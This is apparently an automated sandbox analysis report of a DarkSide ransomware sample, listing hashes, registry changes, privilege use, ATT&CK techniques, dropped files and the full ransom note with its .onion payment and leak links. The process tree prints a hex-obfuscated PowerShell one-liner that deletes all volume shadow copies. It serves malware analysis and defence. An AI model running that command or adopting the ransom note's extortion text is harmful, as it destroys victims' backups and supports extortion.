darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27-01-2024 19:36

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General

Target

68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Size

59KB
MD5

9e779da82d86bcd4cc43ab29f929f73f
SHA1

e6b47869caa776840ab79856b04096152103c71d
SHA256

68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7
SHA512

e0a172b862054b63c26e8852019cbd46b68c6102e4bae802ba851ae950798d336295795c0cc5d68002a0467c62e5800f1ecfdae05de2709d57bcc31375276bb7
SSDEEP

768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1ylzrQ/8P+hY23W58:0x7Fu4/ihrhDTV1ylzrzPdZ58

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.d4f081ca.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 30GB data. These files include: - Accounting - Finance - Internal documents - Insurance Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/88/EbDyhFDs_z2hYxVR0XHv4S3ZzHUrKh4rqa3bgZ44Og-ORPgEAgMjzoTDuM46leXv On the page you will find examples of files that have been downloaded. The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/KB0LXKYKN6E96Z7RFYWCEI6NM03TX93VZCL5EDA4IVPXUIQQZBG2ZEG269ZIFSFM When you open our website, put the following data in the input form: Key: 9mMrqcP7meAPxAvXF25ONPJ4KqIozRuGzFKqvsN4XCuThdVZqteuONtPOu4gYqMXcEcWUx5wELPmbMsI2CcmFySRZJDqPLc8rvxUGJg12wuZki8EizCFaG5L8oQTfgOCvMrTkxmSmVhcSjQt340z9fXWhyQzy96XBkwAzIWp5uviJyAZ9ZBKDlodGa6SDkIFdYVlVQi7R9qzQE4G2KqmQ6Tmim4kCalkH4dBxGYkUC1wCyCncUMAWD7egCaKoKGlHiK99ANxmxFulbvoV8vjn2ArqDm46RNzoMk8C9QGpPsPL0GGppW1izBwguSXug4DrPjvvAmZVJzLrGx0LEH8srhneZnfrSLHm2tDwmOog8obV8IMYF41AuvVX1JyzDkhU282ECvBXDBb7URumIHdSnnVOKCVTKmuC1R3srHwxmd6RweVC1IkvHD7Bt7ybXffJVfRkyhMdpXHLREpoWItO1tlQZxvBUKZlrd7hJGSwZSlR3NWx61XMxuptxrXt7ZOHNJ4AkeJ2FvepgCazbuV57FP38CVC4mHsxyBWCDioj4RmEhA0AMn5Z5 !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/88/EbDyhFDs_z2hYxVR0XHv4S3ZzHUrKh4rqa3bgZ44Og-ORPgEAgMjzoTDuM46leXv

http://darksidfqzcuhtk2.onion/KB0LXKYKN6E96Z7RFYWCEI6NM03TX93VZCL5EDA4IVPXUIQQZBG2ZEG269ZIFSFM

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (159) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\d4f081ca.BMP"	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\d4f081ca.BMP"	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Control Panel\Desktop\WallpaperStyle = "10"	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\d4f081ca	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\d4f081ca\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\d4f081ca.ico"	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.d4f081ca	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.d4f081ca\ = "d4f081ca"	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\d4f081ca\DefaultIcon	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3008	powershell.exe
2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeSecurityPrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeTakeOwnershipPrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeLoadDriverPrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeSystemProfilePrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeSystemtimePrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeProfSingleProcessPrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeIncBasePriorityPrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeCreatePagefilePrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeBackupPrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeRestorePrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeShutdownPrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeDebugPrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeSystemEnvironmentPrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeRemoteShutdownPrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeUndockPrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeManageVolumePrivilege	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: 33	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: 34	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: 35	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Token: SeDebugPrivilege	3008	powershell.exe
Token: SeBackupPrivilege	1020	vssvc.exe
Token: SeRestorePrivilege	1020	vssvc.exe
Token: SeAuditPrivilege	1020	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2352 wrote to memory of 3008	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe	29
PID 2352 wrote to memory of 3008	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe	29
PID 2352 wrote to memory of 3008	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe	29
PID 2352 wrote to memory of 3008	2352	68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe	29

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
"C:\Users\Admin\AppData\Local\Temp\68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3008

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
6b3f38d36b6e8b01e8f8e90e649aad32

SHA1
cf22c2f861fb5dfd03f54f87e385507ff7f36dca

SHA256
5a28350736eb6c46e2d9d19890ae3d4e5d3b83c01e5bf3322c99f8e28af1faf7

SHA512
6b92253a4ef91c0eec74e51bc2db6b7960e2201b70533f172a49af0e877b32fe638a62e277db8556abe27a06bbffe158c39ff41eac95565c0c36d378cffe31ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab47EB.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar480D.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
43cb3086ceafcd386437f266387ba17b

SHA1
e68aab7cc1a17214fa48800b0a817b9931d389d4

SHA256
0007cd193a0ff88fcc6ceba4aa8dbe65fe45d8faa67c525894eac817d6647e20

SHA512
1d6e237ad7145e6af3c473bf9534c54922e5d2b7cebaecfaa11cc024b43bcec5c571279b38ee285ba8bf253822b970f6d24f5f5abb5e2b2e0398013ec094e997

Download Submit
C:\Users\Admin\README.d4f081ca.TXT

Filesize
2KB

MD5
15e656071a642f9e91605d74367f7ec7

SHA1
ff9da8ec309210e2324dbe4a79d416f90de285c0

SHA256
b09cb9d531931fb4725b0e49d85bb81cfc2691ce19ff3567ca0f7b44af6594a1

SHA512
c2d948d143863b4a349c992921f442708e5fb7c6226ff264abe1b8d370fb75abb821b09c9f786a19296e183e78e85a2815774728737eff6710bc4578ef8f37de

Download Submit
memory/3008-61-0x000007FEF4AA0000-0x000007FEF543D000-memory.dmp

Filesize
9.6MB

Download
memory/3008-60-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/3008-62-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/3008-63-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/3008-64-0x000007FEF4AA0000-0x000007FEF543D000-memory.dmp

Filesize
9.6MB

Download
memory/3008-59-0x000007FEF4AA0000-0x000007FEF543D000-memory.dmp

Filesize
9.6MB

Download
memory/3008-58-0x0000000002560000-0x0000000002568000-memory.dmp

Filesize
32KB

Download
memory/3008-57-0x000000001B220000-0x000000001B502000-memory.dmp

Filesize
2.9MB

Download